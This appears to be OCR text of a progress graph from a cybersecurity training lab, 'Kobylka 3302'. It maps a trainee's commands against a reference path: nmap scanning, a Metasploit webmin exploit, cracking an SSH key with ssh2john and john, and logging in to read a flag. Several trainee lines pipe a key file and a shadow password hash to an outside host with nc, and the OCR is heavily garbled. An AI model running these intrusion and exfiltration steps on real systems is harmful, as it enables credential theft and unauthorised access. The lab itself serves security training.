Trainee: sandbox-80-useractions

Reached 5 of 20 available success nodes (25.0%)
Training: "Kobylka 3302"

Green nodes: Successfully reached states from the reference graph
Red nodes: Commands not present in the reference graph

Orange nodes: Attempts to reach a green node but some required states were missing
Gray nodes: Reference solution to complete the rest of the training

Type: command

I'ype: command
Tool: nmap X
Opts: [“A', '172.18.1.5']; [-A", “p', '1-65536']; [A', ', '1-65536, [[00F msfconsole
'172.18.1.5']; ['-A', -p', '1-65535", '172.18.1.5'] pLs:

—y
Gnetasploit_openeD

ype: msf4-history
ool: search
pts: ['webmin']

Gearched_for_exploiD

@ the ref. @

exploit used

Type: msf4-history [['ype: msf4-history
Tool: options ool: set

Opts: [] pts: ['RHOST", '172.18.1.5']

@ the ref. @

ype: msf4-history
Tool: set
Opts: ['RHOSTS', '172.18.1.5']

rhost set

Type: command [Iype: msf4-history
Tool: ip Tool: set
Opts: ['a'] pts: ['LHOST", '10.1.135.83']

Not in the ref. graph lhost set

Type: command
Tool: nmap
Opts: ['-A', '10.1.17.4"]

Type: command
Tool: vim
Opts: ['key']

Type: command
Tool: ssh2john
Opts: []

Type: command
Tool: john
Opts: ['key']; ['key.hash']

Type: command
Tool: cat

Opts: ['key', '|', 'nc', 'hxx.cz', '8080']; ['key.hash']

Type: command
Tool: nmap

Opts: ['172.18.1.5]
Req. nodes: []

(unreached)
port found

Type: command

Tool: nmap

Opts: ['-sV', '172.18.1.5"]
Req. nodes: []

Type: command [Type: command
Tool: locate Tool: /usr/share/john/ssh2john.py
Opts: ['*2john'] / Opts: ['key', '>', 'key.hash']

Type: msf4-history
Tool: run
Opts: []

ﬁ ried to reach: exploit executed N\ %ng :rrél; f4-history
— Missing nodes: rport_set - :

/Opts: []

Not in the ref. graph

Type: command
Tool: echo

Opts: [""eve:$6$eDIUpTqNub/vHNdW$1O0xDFqCfsUBdhYWqY6f2P37WcGUznmP7BCEmEADIIkvxkpjzOy3zv3M]JTxAC53aloPtoBpvzRksNCzO4pppiy.:18451:0:99999:7:::"",

'Inc', 'hxx.cz', '8080']; ['"eve:$6$eDIUpTqNub/vHNdW$10xDFqCfsUBdhYWqY6{2P37WcGUznmP7BCEmMEADIIkvxkpjzOy3zv3M]JTxAC53aloPtoBpvzRksNCzO4pppiy.:18451:0:99999:7:::"",
'l', 'nc', 'hxx.cz', '8080']

Type: msf4-history
Tool: sessions
OptS: [I_ll]; [I_hl]; [I_ull |2|]; [I_ill |3|]; [I_UI’ |4|]’_ [I_ull |4|]

Type: command
Tool: Is
Opts: []

Type: command
Tool: ./ssh2john.py
Opts: ['key', '>', 'key2.hash']

Type: command Type: command

Tool: john

Tool: locate : :

T \ Opts: ['--wordlist=/usr/share/wordlists/rockyou.txt’,
Opts: [*ockyou*'] 'key2.hash']

Tried to reach: key cracked
Missing nodes: key hashed

Type: command Type: command $§§fisfﬁ1§£é'h13t01”y

Tool: ssh Tool: ssh Opté- ['options']

Opts: ['-h'] Opts: ['-i', 'key', 'eve@10.1.17.4'] Req. nodes: [metasploit opened]
Y

Type: command
Tool: john
Opts: ['key2.hash']

Not in the ref. graph (unreached)

vulnerability found

Tried to reach: connected to server
Missing nodes: ssh key permissions changed,
bash history displayed

(unreached)
options shown

@ the ref. graph

i\
Type: command  Type: command %’gﬁ :Sléltsfél—history
Tool: chmod iTool: ssh :
e D . T . : Opts: ['RPORT", '10000']; ['rport’, '10000']
Opts: ['600', 'key'] //Opts. ['-1', 'key', 'eve@10.1.17.4'] Req. nodes: [metasploit opened]

/

' s

Tried to reach: ssh key permissions changed
Missing nodes: key cracked

(unreached)
rport set

Type: msf4-history

@ the ref. graph

Type: command
Tool: Is
Opts: []

Type: command
Tool: cd

Type: command
Tool: cat

Tool: check

Opts: ['top-secret/'] Opts: ['flag.txt']

Y

Tried to reach: end
Missing nodes: connected to server

Type: command
Tool: cat

Opts: ['/usr/share/wordlists/rockyou.txt’,
||WC|]

Opts: []
Req. nodes: [exploit used, rhost set,
rport set, lhost set]

(unreached)
exploit checked

Type: msf4-history

Tool: exploit

Opts: []

Req. nodes: [exploit used, rhost set,
rport set, lhost set]

(unreached)
exploit executed

Type: command
Tool: cat

Req. nodes: [exploit executed]

(unreached)
file viewed

Type: command

Tool: 1s

Opts: ['-a', '/home/eve/']; ['-a', 'feve/']; ['-a']
Req. nodes: [exploit executed]

(unreached)
eve files shown

Type: command

Tool: cat

Opts: ['.bash history']['/home/eve/.bash history'];
['‘eve/.bash history']; ['.bash history']

Req. nodes: [exploit executed]

y

(unreached)
bash history displayed

Type: command

Tool: cat

Opts: ['/home/eve/.ssh/id rsa']; ['eve/.ssh/id rsa'];
['.ssh/id rsa']; ['id rsa']

Req. nodes: [exploit executed]

(unreached)
view ssh key

Type: command

Tool: python

Opts: ['ssh2john.py', *', '>', "*']
Req. nodes: [exploit executed]

(unreached)
key hashed

Type: command
Tool: john

Opts: ['--wordlist=/usr/share/wordlists/rockyou.txt’,
I*I]

Req. nodes: [key hashed]

(unreached)
key cracked

Type: command

Tool: chmod

Opts: ['0600', *']; ['600', *']
Req. nodes: [key cracked]

\ /

sh key permissions changed

<(unreached)>
s

Type: command

Tool: ssh

Opts: ['-i', *, 'eve@10.1.17.4"]

Req. nodes: [ssh key permissions changed,
bash history displayed]

(unreached)
connected to server

Type: command

Tool: cat

Opts: ['top-secret/flag.txt']; ['flag.txt']
Req. nodes: [connected to server]

(unreached)
end

Opts: ['/root/WARNING-READ-ME.txt']; ['WARNING-READ-ME.txt']



